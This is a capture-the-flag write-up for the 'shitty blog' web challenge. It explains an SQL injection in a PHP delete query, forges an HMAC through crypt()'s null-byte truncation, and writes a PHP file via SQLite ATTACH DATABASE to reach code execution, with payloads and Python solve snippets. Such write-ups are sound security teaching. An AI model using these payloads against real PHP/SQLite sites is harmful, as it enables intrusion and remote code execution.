shitty blog ?=====
Points: 250 (31 solves)
Writeup by: ath0 and qxxxb
Challenge Author: 0xbb
Files: `shitty blog ?-a6c0b8b672817005.tar.xz`
Overview=====
The main logic of the challenges resides in one file, `index.php`.
There is a per-session SQLite database that gets created at`'/var/www/html/data/' . md5($salt.'|'.$id.'|'.$mac);`. In the session cookie,there is a user id (`$id`) and a HMAC which will be verified:
```php    $session = explode('|', $_COOKIE['session']);    if( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {        exit();    }    $id = $session[0];    $mac = $session[1];```
If we can forge a valid HMAC, we can move forward with a totally controlled `$id` (more on the forgery later).
qxxxb noticed some interesting bits in the nginx config:
``` nginxlocation / {        try_files $uri $uri/ =404;}```
We can visit `http://localhost:8888/data/<sandbox_url>/blog.sqlite3` and we'll beable to read our sqlite database back. But this doesn't help us achive ourultimate goal: We need to execute `/readflag` (neither nginx nor php have theability to read `flag.txt` directly), so we need RCE. The other thing to noteis nginx is setup to send any file ending in `.php` through the php interpreter:
```nginxlocation ~ \.php$ {        include snippets/fastcgi-php.conf;        fastcgi_pass unix:/run/php/php7.4-fpm.sock;}```
So if we can write a `.php` file somewhere in `/var/www/html/`, we can justvisit that URL and it will get executed! But how can we create such a file?
Luckily, there's another vulnerability which is likely the first thing you'll notice when scanning `index.php`:
```phpfunction delete_entry($db, $entry_id, $user_id) {    $db->exec("DELETE from entry WHERE {$user_id} <> 0 AND id = {$entry_id}");}```
SQL injection on `$user_id`! So if we can cram a SQL injection payload into`$user_id`, we can use any of the capabilities of SQLite.
Exploit=====
SQL injection to RCE----
Assuming we can control the user id (requires HMAC forgery, below), how will weget code execution?
Some [cheat sheet](https://github.com/unicornsasfuel/sqlite_sqli_cheat_sheet) I found online shows you can create SQLite databases with arbitrary names:
```1';ATTACH DATABASE ‘/var/www/lol.php’ AS lol; CREATE TABLE lol.pwn (dataz text); INSERT INTO lol.pwn (dataz) VALUES ('hax'); --```
And nginx is setup to send any file ending in .php through the php interpreter:
```nginxlocation ~ \.php$ {        include snippets/fastcgi-php.conf;        fastcgi_pass unix:/run/php/php7.4-fpm.sock;}```
So our SQL injection payload just needs to create a file at `/var/www/html/data/lol-abcdefg.php` containing `` anywhere within the file.
So the SQL injection payload we need (with quotes correctly encoded) is:
```'; ATTACH DATABASE '/var/www/html/data/lol-abcdefg.php' AS lol; CREATE TABLE lol.pwn (dataz test); INSERT INTO lol.pwn (dataz) VALUES (''); --```
(the `--` at the end starts a comment)
Forging a HMAC=====
Here is the relevant code from the `index.php`:
```php# Generating an HMAC$mac = substr(crypt(hash_hmac('md5', $id, $secret, true), $salt), 20);
# Verifying an HMACif( ! hash_equals(crypt(hash_hmac('md5', $session[0], $secret, true), $salt), $salt.$session[1])) {    exit();}```
The fourth `true` argument to `hash_hmac()` is for the parameter `binary`:> When set to true, outputs raw binary data. false outputs lowercase hexits.
However, the documentation for `crypt()` shows:> **Warning**: This function is not (yet) binary safe!
It turns out that `crypt()` considers its inputs as null-terminated strings. Asshown[here](https://www.reddit.com/r/PHP/comments/t0qzl/is_this_a_bug_shouldnt_crypt_be_binary_safe/),everything after the null byte is ignored:```php>>> assert(    crypt(b"\x00stuff", '$6$89bc41658a01fb6b$') ==    crypt(b"\x00ignored", '$6$89bc41658a01fb6b$'))=> true```
The first step is to find a `$mac` where`hash_hmac('md5', $id, $secret, true)` starts with a null byte.
The probability of this happening for a random `$id` is `1 / 256`. If ithappens twice, we'll get two identical `$mac` values. Here's code to retrieve the null MAC:
```pythondef get_null_mac():    mac_counter = set()    for i in tqdm(itertools.count()):        res = requests.get(URL_BASE)        id, mac = urllib.parse.unquote(res.cookies["session"]).split("|")        if mac in mac_counter:            return mac        mac_counter.add(mac)
    raise ValueError("Unreachable")```
Now that we have the null MAC, we can append junk at the end of our SQLipayload inside a comment and until its MAC matches our null MAC (`1 / 256`chance):
```pythondef attempt_sqli(junk: str, null_mac: str):    payload = (        "'test'; ATTACH DATABASE '/var/www/html/data/lol-abcdefg.php' AS lol; CREATE TABLE lol.pwn (dataz test); INSERT INTO lol.pwn (dataz) VALUES (''); -- "        + junk    )    # ...```
Full solve script in `solve.py`.
```$ python3 solve.py[*] Looking for null MAC ...207it [01:15,  2.73it/s][+] null_mac = yC8z7vD9vdpSERKREHFfJ/PpyNg9yAXh00wZHnh8AlIehpWVmVxzrjphnbjrpiCr6Umu9D2l.CUSzAIlqQjLR/[*] Attempting SQLi ...post_id = 1hxp{dynamically_typed_statically_typed_php_c_I_hate_you_all_equally__at_least_its_not_node_lol_:(}
37it [00:15,  2.44it/s]```